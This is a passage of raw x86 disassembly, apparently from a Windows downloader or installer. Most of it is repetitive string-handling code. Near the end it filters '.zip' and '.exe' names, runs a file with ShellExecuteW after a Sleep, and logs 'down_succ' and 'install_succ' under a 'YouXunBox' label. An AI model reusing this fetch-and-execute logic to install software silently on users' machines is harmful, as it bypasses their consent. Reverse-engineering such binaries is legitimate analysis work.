push ecx
mov ecx, eax
call edx
mov esi, eax
test esi, esi
je 0x4121e8
mov eax, dword [edi + 4]
mov dword [esi + 4], eax
mov eax, dword [edi + 4]
lea ecx, [eax + eax + 2]
push ecx
add edi, 0x10
lea edx, [eax + eax + 2]
push edi
push edx
lea eax, [esi + 0x10]
push eax
call fcn.004579d2
add esp, 0x10
mov ecx, dword [esp + 0x18]
add esi, 0x10
mov dword [ecx], esi
mov byte [esp + 0xf8], 0x32
mov edi, dword [0x494478]
push ecx
mov ecx, dword [edi - 0x10]
mov edx, dword [ecx]
mov eax, dword [edx + 0x10]
add edi, 0xfffffff0
mov dword [esp + 0x1c], esp
mov dword [esp + 0x1c], esp
call eax
cmp dword [edi + 0xc], 0
lea edx, [edi + 0xc]
jl 0x4132a8
cmp eax, dword [edi]
jne 0x4132a8
mov esi, edi
mov ecx, 1
lock xadd dword [edx], ecx
jmp 0x4132e3
mov ecx, dword [edi + 4]
mov edx, dword [eax]
mov edx, dword [edx]
push 2
push ecx
mov ecx, eax
call edx
mov esi, eax
test esi, esi
je 0x4121e8
mov eax, dword [edi + 4]
mov dword [esi + 4], eax
mov eax, dword [edi + 4]
lea ecx, [eax + eax + 2]
push ecx
add edi, 0x10
lea edx, [eax + eax + 2]
push edi
push edx
lea eax, [esi + 0x10]
push eax
call fcn.004579d2
add esp, 0x10
mov ecx, dword [esp + 0x1c]
add esi, 0x10
mov dword [ecx], esi
lea esi, [esp + 0x34]
mov byte [esp + 0xfc], bl
call fcn.00409470
mov esi, dword [esp + 0x24]
mov ecx, dword [esi - 0x10]
mov edx, dword [ecx]
mov eax, dword [edx + 0x10]
add esi, 0xfffffff0
add esp, 8
mov dword [esp + 0x18], esp
mov dword [esp + 0x14], esp
call eax
cmp dword [esi + 0xc], 0
lea edx, [esi + 0xc]
jl 0x413332
cmp eax, dword [esi]
jne 0x413332
mov edi, esi
mov ecx, 1
lock xadd dword [edx], ecx
jmp 0x41336d
mov ecx, dword [esi + 4]
mov edx, dword [eax]
mov edx, dword [edx]
push 2
push ecx
mov ecx, eax
call edx
mov edi, eax
test edi, edi
je 0x4121e8
mov eax, dword [esi + 4]
mov dword [edi + 4], eax
mov eax, dword [esi + 4]
lea ecx, [eax + eax + 2]
push ecx
add esi, 0x10
lea edx, [eax + eax + 2]
push esi
push edx
lea eax, [edi + 0x10]
push eax
call fcn.004579d2
add esp, 0x10
mov ecx, dword [esp + 0x14]
add edi, 0x10
mov dword [ecx], edi
mov byte [esp + 0xf4], 0x33
mov edi, dword [esp + 0xb0]
push ecx
mov ecx, dword [edi - 0x10]
mov edx, dword [ecx]
mov eax, dword [edx + 0x10]
add edi, 0xfffffff0
mov dword [esp + 0x24], esp
mov dword [esp + 0x18], esp
call eax
cmp dword [edi + 0xc], 0
lea edx, [edi + 0xc]
jl 0x4133b5
cmp eax, dword [edi]
jne 0x4133b5
mov esi, edi
mov ecx, 1
lock xadd dword [edx], ecx
jmp 0x4133f0
mov ecx, dword [edi + 4]
mov edx, dword [eax]
mov edx, dword [edx]
push 2
push ecx
mov ecx, eax
call edx
mov esi, eax
test esi, esi
je 0x4121e8
mov eax, dword [edi + 4]
mov dword [esi + 4], eax
mov eax, dword [edi + 4]
lea ecx, [eax + eax + 2]
push ecx
add edi, 0x10
lea edx, [eax + eax + 2]
push edi
push edx
lea eax, [esi + 0x10]
push eax
call fcn.004579d2
add esp, 0x10
mov ecx, dword [esp + 0x18]
add esi, 0x10
mov dword [ecx], esi
mov byte [esp + 0xf8], 0x34
mov edi, dword [0x494478]
push ecx
mov ecx, dword [edi - 0x10]
mov edx, dword [ecx]
mov eax, dword [edx + 0x10]
add edi, 0xfffffff0
mov dword [esp + 0x1c], esp
mov dword [esp + 0x1c], esp
call eax
cmp dword [edi + 0xc], 0
lea edx, [edi + 0xc]
jl 0x413437
cmp eax, dword [edi]
jne 0x413437
mov esi, edi
mov ecx, 1
lock xadd dword [edx], ecx
jmp 0x413472
mov ecx, dword [edi + 4]
mov edx, dword [eax]
mov edx, dword [edx]
push 2
push ecx
mov ecx, eax
call edx
mov esi, eax
test esi, esi
je 0x4121e8
mov eax, dword [edi + 4]
mov dword [esi + 4], eax
mov eax, dword [edi + 4]
lea ecx, [eax + eax + 2]
push ecx
add edi, 0x10
lea edx, [eax + eax + 2]
push edi
push edx
lea eax, [esi + 0x10]
push eax
call fcn.004579d2
add esp, 0x10
mov ecx, dword [esp + 0x1c]
add esi, 0x10
mov dword [ecx], esi
lea esi, [esp + 0x44]
mov byte [esp + 0xfc], bl
call fcn.00409470
mov esi, dword [esp + 0x24]
mov ecx, dword [esi - 0x10]
mov edx, dword [ecx]
mov eax, dword [edx + 0x10]
add esi, 0xfffffff0
add esp, 8
mov dword [esp + 0x18], esp
mov dword [esp + 0x14], esp
call eax
cmp dword [esi + 0xc], 0
lea edx, [esi + 0xc]
jl 0x4134c1
cmp eax, dword [esi]
jne 0x4134c1
mov edi, esi
mov ecx, 1
lock xadd dword [edx], ecx
jmp 0x4134fc
mov ecx, dword [esi + 4]
mov edx, dword [eax]
mov edx, dword [edx]
push 2
push ecx
mov ecx, eax
call edx
mov edi, eax
test edi, edi
je 0x4121e8
mov eax, dword [esi + 4]
mov dword [edi + 4], eax
mov eax, dword [esi + 4]
lea ecx, [eax + eax + 2]
push ecx
add esi, 0x10
lea edx, [eax + eax + 2]
push esi
push edx
lea eax, [edi + 0x10]
push eax
call fcn.004579d2
add esp, 0x10
mov ecx, dword [esp + 0x14]
add edi, 0x10
mov dword [ecx], edi
mov byte [esp + 0xf4], 0x35
mov edi, dword [esp + 0x78]
push ecx
mov ecx, dword [edi - 0x10]
mov edx, dword [ecx]
mov eax, dword [edx + 0x10]
add edi, 0xfffffff0
mov dword [esp + 0x24], esp
mov dword [esp + 0x18], esp
call eax
cmp dword [edi + 0xc], 0
lea edx, [edi + 0xc]
jl 0x413541
cmp eax, dword [edi]
jne 0x413541
mov esi, edi
mov ecx, 1
lock xadd dword [edx], ecx
jmp 0x41357c
mov ecx, dword [edi + 4]
mov edx, dword [eax]
mov edx, dword [edx]
push 2
push ecx
mov ecx, eax
call edx
mov esi, eax
test esi, esi
je 0x4121e8
mov eax, dword [edi + 4]
mov dword [esi + 4], eax
mov eax, dword [edi + 4]
lea ecx, [eax + eax + 2]
push ecx
add edi, 0x10
lea edx, [eax + eax + 2]
push edi
push edx
lea eax, [esi + 0x10]
push eax
call fcn.004579d2
add esp, 0x10
mov ecx, dword [esp + 0x18]
add esi, 0x10
mov dword [ecx], esi
mov byte [esp + 0xf8], 0x36
mov edi, dword [0x494478]
push ecx
mov ecx, dword [edi - 0x10]
mov edx, dword [ecx]
mov eax, dword [edx + 0x10]
add edi, 0xfffffff0
mov dword [esp + 0x1c], esp
mov dword [esp + 0x1c], esp
call eax
cmp dword [edi + 0xc], 0
lea edx, [edi + 0xc]
jl 0x4135c3
cmp eax, dword [edi]
jne 0x4135c3
mov esi, edi
mov ecx, 1
lock xadd dword [edx], ecx
jmp 0x4135fe
mov ecx, dword [edi + 4]
mov edx, dword [eax]
mov edx, dword [edx]
push 2
push ecx
mov ecx, eax
call edx
mov esi, eax
test esi, esi
je 0x4121e8
mov eax, dword [edi + 4]
mov dword [esi + 4], eax
mov eax, dword [edi + 4]
lea ecx, [eax + eax + 2]
push ecx
add edi, 0x10
lea edx, [eax + eax + 2]
push edi
push edx
lea eax, [esi + 0x10]
push eax
call fcn.004579d2
add esp, 0x10
mov ecx, dword [esp + 0x1c]
add esi, 0x10
mov dword [ecx], esi
lea esi, [esp + 0x50]
mov byte [esp + 0xfc], bl
call fcn.00409470
mov esi, dword [esp + 0x24]
mov ecx, dword [esi - 0x10]
mov edx, dword [ecx]
mov eax, dword [edx + 0x10]
add esi, 0xfffffff0
add esp, 8
mov dword [esp + 0x18], esp
mov edi, esp
mov dword [esp + 0x14], esi
call eax
cmp dword [esi + 0xc], 0
lea edx, [esi + 0xc]
jl 0x41364d
cmp eax, dword [esi]
jne 0x41364d
mov ecx, 1
lock xadd dword [edx], ecx
jmp 0x413690
mov ecx, dword [esp + 0x14]
mov ecx, dword [ecx + 4]
mov edx, dword [eax]
mov edx, dword [edx]
push 2
push ecx
mov ecx, eax
call edx
mov esi, eax
test esi, esi
je 0x4121e8
mov ecx, dword [esp + 0x14]
mov eax, dword [ecx + 4]
mov dword [esi + 4], eax
mov eax, dword [ecx + 4]
lea edx, [eax + eax + 2]
push edx
add ecx, 0x10
push ecx
lea eax, [eax + eax + 2]
push eax
lea ecx, [esi + 0x10]
push ecx
call fcn.004579d2
add esp, 0x10
add esi, 0x10
mov dword [edi], esi
mov byte [esp + 0xf4], 0x37
mov eax, dword [esp + 0xc0]
push ecx
add eax, 0xfffffff0
mov dword [esp + 0x24], esp
mov edi, esp
push eax
lea esi, [esp + 0x48]
call fcn.00402270
add eax, 0x10
mov dword [edi], eax
mov byte [esp + 0xfc], 0x38
mov eax, dword [0x494478]
add eax, 0xfffffff0
mov dword [esp + 0x1c], esp
mov edi, esp
push eax
call fcn.00402270
add eax, 0x10
mov dword [edi], eax
add esp, 4
mov byte [esp + 0xfc], bl
call fcn.00409470
mov eax, dword [esp + 0x24]
add esp, 8
add eax, 0xfffffff0
mov dword [esp + 0x18], esp
mov esi, esp
push eax
call fcn.00402270
add eax, 0x10
mov dword [esi], eax
mov byte [esp + 0xf8], 0x39
mov eax, dword [esp + 0x74]
add eax, 0xfffffff0
mov dword [esp + 0x24], esp
mov edi, esp
push eax
lea esi, [esp + 0x7c]
call fcn.00402270
add eax, 0x10
mov dword [edi], eax
mov byte [esp + 0xfc], 0x3a
mov eax, dword [0x494478]
add eax, 0xfffffff0
mov dword [esp + 0x1c], esp
mov edi, esp
push eax
call fcn.00402270
add eax, 0x10
mov dword [edi], eax
add esp, 4
mov byte [esp + 0xfc], bl
call fcn.00409470
mov eax, dword [esp + 0x24]
add esp, 8
add eax, 0xfffffff0
mov dword [esp + 0x18], esp
mov esi, esp
push eax
call fcn.00402270
add eax, 0x10
mov dword [esi], eax
mov byte [esp + 0xf8], 0x3b
mov eax, dword [esp + 0xa8]
add eax, 0xfffffff0
mov dword [esp + 0x24], esp
mov edi, esp
push eax
lea esi, [esp + 0xa0]
call fcn.00402270
add eax, 0x10
mov dword [edi], eax
mov byte [esp + 0xfc], 0x3c
mov eax, dword [0x494478]
add eax, 0xfffffff0
mov dword [esp + 0x1c], esp
mov edi, esp
push eax
call fcn.00402270
add eax, 0x10
mov dword [edi], eax
add esp, 4
mov byte [esp + 0xfc], bl
call fcn.00409470
mov eax, dword [esp + 0x24]
add esp, 8
add eax, 0xfffffff0
mov dword [esp + 0x18], esp
mov esi, esp
push eax
call fcn.00402270
add eax, 0x10
mov dword [esi], eax
mov byte [esp + 0xf8], 0x3d
mov eax, dword [esp + 0xac]
add eax, 0xfffffff0
mov dword [esp + 0x24], esp
mov edi, esp
push eax
lea esi, [esp + 0x74]
call fcn.00402270
add eax, 0x10
mov dword [edi], eax
mov byte [esp + 0xfc], 0x3e
mov eax, dword [0x494478]
add eax, 0xfffffff0
mov dword [esp + 0x1c], esp
mov edi, esp
push eax
call fcn.00402270
add eax, 0x10
mov dword [edi], eax
add esp, 4
mov byte [esp + 0xfc], bl
call fcn.00409470
mov eax, dword [esp + 0x24]
add esp, 8
add eax, 0xfffffff0
mov dword [esp + 0x18], esp
mov esi, esp
push eax
call fcn.00402270
add eax, 0x10
mov dword [esi], eax
mov byte [esp + 0xf8], 0x3f
mov eax, dword [esp + 0x6c]
add eax, 0xfffffff0
mov dword [esp + 0x24], esp
mov edi, esp
push eax
lea esi, [esp + 0x6c]
call fcn.00402270
add eax, 0x10
mov dword [edi], eax
mov byte [esp + 0xfc], 0x40
mov eax, dword [0x494478]
add eax, 0xfffffff0
mov dword [esp + 0x1c], esp
mov edi, esp
push eax
call fcn.00402270
add eax, 0x10
mov dword [edi], eax
add esp, 4
mov byte [esp + 0xfc], bl
call fcn.00409470
add esp, 8
mov dword [esp + 0x18], esp
mov esi, esp
mov eax, dword [esp + 0x1c]
add eax, 0xfffffff0
push eax
call fcn.00402270
add eax, 0x10
mov dword [esi], eax
mov byte [esp + 0xf8], 0x41
mov eax, dword [esp + 0xcc]
add eax, 0xfffffff0
mov dword [esp + 0x24], esp
mov edi, esp
push eax
lea esi, [esp + 0x64]
call fcn.00402270
add eax, 0x10
mov dword [edi], eax
mov byte [esp + 0xfc], 0x42
mov eax, dword [0x494478]
add eax, 0xfffffff0
mov dword [esp + 0x1c], esp
mov edi, esp
push eax
call fcn.00402270
add eax, 0x10
mov dword [edi], eax
add esp, 4
mov byte [esp + 0xfc], bl
call fcn.00409470
mov eax, dword [esp + 0x24]
add esp, 8
add eax, 0xfffffff0
mov dword [esp + 0x18], esp
mov esi, esp
push eax
call fcn.00402270
add eax, 0x10
mov dword [esi], eax
mov byte [esp + 0xf8], 0x43
mov eax, dword [esp + 0x64]
add eax, 0xfffffff0
mov dword [esp + 0x24], esp
mov edi, esp
push eax
lea esi, [esp + 0x4c]
call fcn.00402270
add eax, 0x10
mov dword [edi], eax
mov byte [esp + 0xfc], 0x44
mov eax, dword [0x494478]
add eax, 0xfffffff0
mov dword [esp + 0x1c], esp
mov edi, esp
push eax
call fcn.00402270
add eax, 0x10
mov dword [edi], eax
add esp, 4
mov byte [esp + 0xfc], bl
call fcn.00409470
mov eax, dword [esp + 0x24]
add esp, 8
add eax, 0xfffffff0
mov dword [esp + 0x18], esp
mov esi, esp
push eax
call fcn.00402270
add eax, 0x10
mov dword [esi], eax
mov byte [esp + 0xf8], 0x45
mov eax, dword [esp + 0xb0]
add eax, 0xfffffff0
mov dword [esp + 0x24], esp
mov edi, esp
push eax
lea esi, [esp + 0x5c]
call fcn.00402270
add eax, 0x10
mov dword [edi], eax
mov byte [esp + 0xfc], 0x46
mov eax, dword [0x494478]
add eax, 0xfffffff0
mov dword [esp + 0x1c], esp
mov edi, esp
push eax
call fcn.00402270
add eax, 0x10
mov dword [edi], eax
add esp, 4
mov byte [esp + 0xfc], bl
call fcn.00409470
mov eax, dword [esp + 0x24]
add esp, 8
add eax, 0xfffffff0
mov dword [esp + 0x18], esp
mov esi, esp
push eax
call fcn.00402270
add eax, 0x10
mov dword [esi], eax
mov byte [esp + 0xf8], 0x47
mov eax, dword [esp + 0x5c]
add eax, 0xfffffff0
mov dword [esp + 0x24], esp
mov edi, esp
push eax
lea esi, [esp + 0x58]
call fcn.00402270
add eax, 0x10
mov dword [edi], eax
mov byte [esp + 0xfc], 0x48
mov eax, dword [0x494478]
add eax, 0xfffffff0
mov dword [esp + 0x1c], esp
mov edi, esp
push eax
call fcn.00402270
add eax, 0x10
mov dword [edi], eax
add esp, 4
mov byte [esp + 0xfc], bl
call fcn.00409470
mov eax, dword [esp + 0x24]
add esp, 8
add eax, 0xfffffff0
mov dword [esp + 0x18], esp
mov esi, esp
push eax
call fcn.00402270
add eax, 0x10
mov dword [esi], eax
mov byte [esp + 0xf8], 0x49
mov eax, dword [esp + 0xd0]
add eax, 0xfffffff0
mov dword [esp + 0x24], esp
mov edi, esp
push eax
lea esi, [esp + 0xa4]
call fcn.00402270
add eax, 0x10
mov dword [edi], eax
mov byte [esp + 0xfc], 0x4a
mov eax, dword [0x494478]
add eax, 0xfffffff0
mov dword [esp + 0x1c], esp
mov edi, esp
push eax
call fcn.00402270
add eax, 0x10
mov dword [edi], eax
add esp, 4
mov byte [esp + 0xfc], bl
call fcn.00409470
mov eax, dword [esp + 0x24]
add esp, 8
add eax, 0xfffffff0
mov dword [esp + 0x18], esp
mov esi, esp
push eax
call fcn.00402270
add eax, 0x10
mov dword [esi], eax
mov byte [esp + 0xf8], 0x4b
mov eax, dword [esp + 0xc8]
add eax, 0xfffffff0
mov dword [esp + 0x24], esp
mov edi, esp
push eax
lea esi, [esp + 0x98]
call fcn.00402270
add eax, 0x10
mov dword [edi], eax
mov byte [esp + 0xfc], 0x4c
mov eax, dword [0x494478]
add eax, 0xfffffff0
mov dword [esp + 0x1c], esp
mov edi, esp
push eax
call fcn.00402270
add eax, 0x10
mov dword [edi], eax
add esp, 4
mov byte [esp + 0xfc], bl
call fcn.00409470
mov eax, dword [esp + 0x24]
add esp, 8
add eax, 0xfffffff0
mov dword [esp + 0x18], esp
mov esi, esp
push eax
call fcn.00402270
add eax, 0x10
mov dword [esi], eax
mov byte [esp + 0xf8], 0x4d
mov eax, dword [esp + 0xc0]
add eax, 0xfffffff0
mov dword [esp + 0x24], esp
mov edi, esp
push eax
lea esi, [esp + 0xc0]
call fcn.00402270
add eax, 0x10
mov dword [edi], eax
mov byte [esp + 0xfc], 0x4e
mov eax, dword [0x494478]
add eax, 0xfffffff0
mov dword [esp + 0x1c], esp
mov edi, esp
push eax
call fcn.00402270
add eax, 0x10
mov dword [edi], eax
add esp, 4
mov byte [esp + 0xfc], bl
call fcn.00409470
mov eax, dword [esp + 0x98]
add esp, 8
add eax, 0xfffffff0
mov dword [esp + 0x18], esp
mov esi, esp
push eax
call fcn.00402270
add eax, 0x10
add esp, 4
mov dword [esi], eax
call fcn.00414e40
test eax, eax
jne 0x413f09
mov eax, dword [esp + 0xb4]
push ecx
add eax, 0xfffffff0
mov dword [esp + 0x18], esp
mov esi, esp
push eax
call fcn.00402270
mov edx, dword [ebp + 8]
add esp, 4
add eax, 0x10
push edx
mov dword [esi], eax
call fcn.00414f10
test eax, eax
jne 0x413f09
mov edi, dword [esp + 0x68]
cmp dword [edi - 0xc], eax
je 0x413f09
push 4
lea eax, [esp + 0x24]
push eax
lea ecx, [esp + 0x30]
call fcn.00404da0
mov byte [esp + 0xf0], 0x4f
mov esi, dword [esp + 0x20]
cmp dword [esi - 0xc], 0
jl 0x413ca0
push str..zip
push esi
call fcn.00458211
add esp, 8
test eax, eax
je 0x413c7f
sub eax, esi
sar eax, 1
cmp eax, 0xffffffff
jne 0x413d1c
cmp dword [esi - 0xc], 0
jl 0x413ca0
push str..exe
push esi
call fcn.00458211
add esp, 8
test eax, eax
je 0x413ca0
sub eax, esi
sar eax, 1
cmp eax, 0xffffffff
jne 0x413d1c
mov ecx, dword [esp + 0x40]
push ecx
call fcn.00458288
add esp, 4
push eax
mov eax, dword [esp + 0x48]
push ecx
add eax, 0xfffffff0
mov dword [esp + 0x1c], esp
mov esi, esp
push eax
call fcn.00402270
add eax, 0x10
mov dword [esi], eax
mov byte [esp + 0xfc], 0x57
mov eax, dword [esp + 0x44]
add eax, 0xfffffff0
mov dword [esp + 0x28], esp
mov esi, esp
push eax
call fcn.00402270
add eax, 0x10
mov dword [esi], eax
mov byte [esp + 0x100], 0x58
mov eax, dword [esp + 0x38]
add eax, 0xfffffff0
mov dword [esp + 0x20], esp
mov esi, esp
push eax
call fcn.00402270
add eax, 0x10
mov dword [esi], eax
add esp, 4
mov byte [esp + 0x100], 0x4f
call fcn.00414750
jmp 0x413e83
mov edx, dword [esp + 0x4c]
push edx
call fcn.00458288
add esp, 4
push eax
mov eax, dword [esp + 0x98]
push ecx
add eax, 0xfffffff0
mov dword [esp + 0x1c], esp
mov esi, esp
push eax
call fcn.00402270
add eax, 0x10
add esp, 4
mov dword [esi], eax
mov byte [esp + 0xf8], 0x50
mov eax, dword [esp + 0x68]
push eax
call fcn.00458288
mov ecx, dword [esp + 0x7c]
add esp, 4
push eax
push ecx
call fcn.00458288
mov edx, dword [esp + 0xa8]
add esp, 4
push eax
push edx
call fcn.00458288
add esp, 4
push eax
mov eax, dword [esp + 0x64]
push eax
call fcn.00458288
add esp, 4
push eax
mov eax, dword [esp + 0x58]
push ecx
add eax, 0xfffffff0
mov dword [esp + 0x38], esp
mov esi, esp
push eax
call fcn.00402270
add eax, 0x10
mov dword [esi], eax
mov byte [esp + 0x110], 0x51
mov eax, dword [esp + 0x78]
add eax, 0xfffffff0
mov dword [esp + 0x30], esp
mov esi, esp
push eax
call fcn.00402270
add eax, 0x10
mov dword [esi], eax
mov byte [esp + 0x114], 0x52
mov eax, dword [esp + 0x60]
add eax, 0xfffffff0
mov dword [esp + 0xfc], esp
mov esi, esp
push eax
call fcn.00402270
add eax, 0x10
mov dword [esi], eax
mov byte [esp + 0x118], 0x53
lea eax, [edi - 0x10]
mov dword [esp + 0x108], esp
mov esi, esp
push eax
call fcn.00402270
add eax, 0x10
mov dword [esi], eax
mov byte [esp + 0x11c], 0x54
mov eax, dword [esp + 0x70]
mov dword [esp + 0x108], esp
mov esi, esp
add eax, 0xfffffff0
push eax
call fcn.00402270
add eax, 0x10
mov dword [esi], eax
mov byte [esp + 0x120], 0x55
mov eax, dword [esp + 0x68]
add eax, 0xfffffff0
mov dword [esp + 0x100], esp
mov esi, esp
push eax
call fcn.00402270
add eax, 0x10
mov dword [esi], eax
mov byte [esp + 0x124], 0x56
mov eax, dword [esp + 0x5c]
add eax, 0xfffffff0
mov dword [esp + 0xd0], esp
mov esi, esp
push eax
call fcn.00402270
add eax, 0x10
mov dword [esi], eax
add esp, 4
mov byte [esp + 0x124], 0x4f
call fcn.00409990
add esp, 0x34
mov edi, dword [esp + 0x30]
mov esi, eax
mov eax, dword [edi - 0xc]
test eax, eax
je 0x413eb6
cmp esi, 1
je 0x413eb6
push eax
push edi
lea ecx, [esp + 0x80]
call fcn.00405540
push 1
push 0x47ccb0
lea ecx, [esp + 0x80]
call fcn.00405540
mov eax, dword [edi - 0xc]
test eax, eax
je 0x413ee2
test esi, esi
jne 0x413ee2
push eax
push edi
lea ecx, [esp + 0x98]
call fcn.00405540
push 1
push 0x47ccb0
lea ecx, [esp + 0x98]
call fcn.00405540
mov byte [esp + 0xf0], bl
mov eax, dword [esp + 0x20]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x413f09
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, dword [esp + 0x24]
inc eax
cmp eax, dword [esp + 0x2c]
mov dword [esp + 0x24], eax
jle 0x412ba0
mov esi, dword [ebp + 8]
cmp dword [esi + 0x194], 0
je 0x413f8c
mov eax, dword [esp + 0x34]
test eax, eax
je 0x413f8c
push eax
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.YouXunBox
lea eax, [esi + 0x18c]
push eax
lea ecx, [esp + 0x3c]
push ecx
call fcn.00404ea0
mov eax, dword [eax]
mov edx, dword [esp + 0xe0]
add esp, 0xc
push 5
push eax
push 0
push edx
push 0x47d418
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
mov eax, dword [esp + 0x34]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x413f8c
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, dword [esp + 0x7c]
push ecx
add eax, 0xfffffff0
mov dword [esp + 0xa0], esp
mov esi, esp
push eax
mov dword [esp + 0x28], eax
call fcn.00402270
add eax, 0x10
mov dword [esi], eax
mov byte [esp + 0xf8], 0x59
mov ecx, esp
mov dword [esp + 0xd8], esp
push str.selected
call fcn.00401b80
mov ecx, dword [ebp + 8]
push ecx
mov byte [esp + 0xfc], bl
call fcn.00415730
mov edi, dword [esp + 0x78]
push ecx
add edi, 0xfffffff0
mov dword [esp + 0xa0], esp
mov esi, esp
push edi
call fcn.00402270
add eax, 0x10
mov dword [esi], eax
mov byte [esp + 0xf8], 0x5a
mov ecx, esp
mov dword [esp + 0xd8], esp
push str.down_succ
call fcn.00401b80
mov edx, dword [ebp + 8]
push edx
mov byte [esp + 0xfc], bl
call fcn.00415730
mov esi, dword [esp + 0x90]
push ecx
add esi, 0xfffffff0
mov dword [esp + 0xa0], esp
mov dword [esp + 0x30], esp
push esi
call fcn.00402270
mov ecx, dword [esp + 0x34]
add eax, 0x10
mov dword [ecx], eax
mov byte [esp + 0xf8], 0x5b
mov ecx, esp
mov dword [esp + 0xd8], esp
push str.install_succ
call fcn.00401b80
mov edx, dword [ebp + 8]
push edx
mov byte [esp + 0xfc], bl
call fcn.00415730
mov byte [esp + 0xf0], 0x2b
lea eax, [esi + 0xc]
or ecx, 0xffffffff
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x41408f
mov ecx, dword [esi]
mov edx, dword [ecx]
mov eax, dword [edx + 4]
push esi
call eax
mov byte [esp + 0xf0], 0x2a
lea ecx, [edi + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x4140b0
mov ecx, dword [edi]
mov eax, dword [ecx]
mov edx, dword [eax + 4]
push edi
call edx
mov byte [esp + 0xf0], 0x29
mov eax, dword [esp + 0x20]
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x4140d5
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0xf0], 0x28
mov eax, dword [esp + 0xb0]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x414100
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0xf0], 0x27
mov eax, dword [esp + 0xb8]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x41412b
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0xf0], 0x26
mov eax, dword [esp + 0xc0]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x414156
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0xf0], 0x25
mov eax, dword [esp + 0xc8]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x414181
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0xf0], 0x24
mov eax, dword [esp + 0xa0]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x4141ac
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0xf0], 0x23
mov eax, dword [esp + 0x54]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x4141d4
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0xf0], 0x22
mov eax, dword [esp + 0xa8]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x4141ff
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0xf0], 0x21
mov eax, dword [esp + 0x5c]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x414227
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0xf0], 0x20
mov eax, dword [esp + 0xc4]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x414252
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0xf0], 0x1f
mov eax, dword [esp + 0x64]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x41427a
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0xf0], 0x1e
mov eax, dword [esp + 0xa4]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x4142a5
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0xf0], 0x1d
mov eax, dword [esp + 0x6c]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x4142cd
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0xf0], 0x1c
mov eax, dword [esp + 0xbc]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x4142f8
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0xf0], 0x1b
mov eax, dword [esp + 0x74]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x414320
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0xf0], 0x1a
mov eax, dword [esp + 0xac]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x41434b
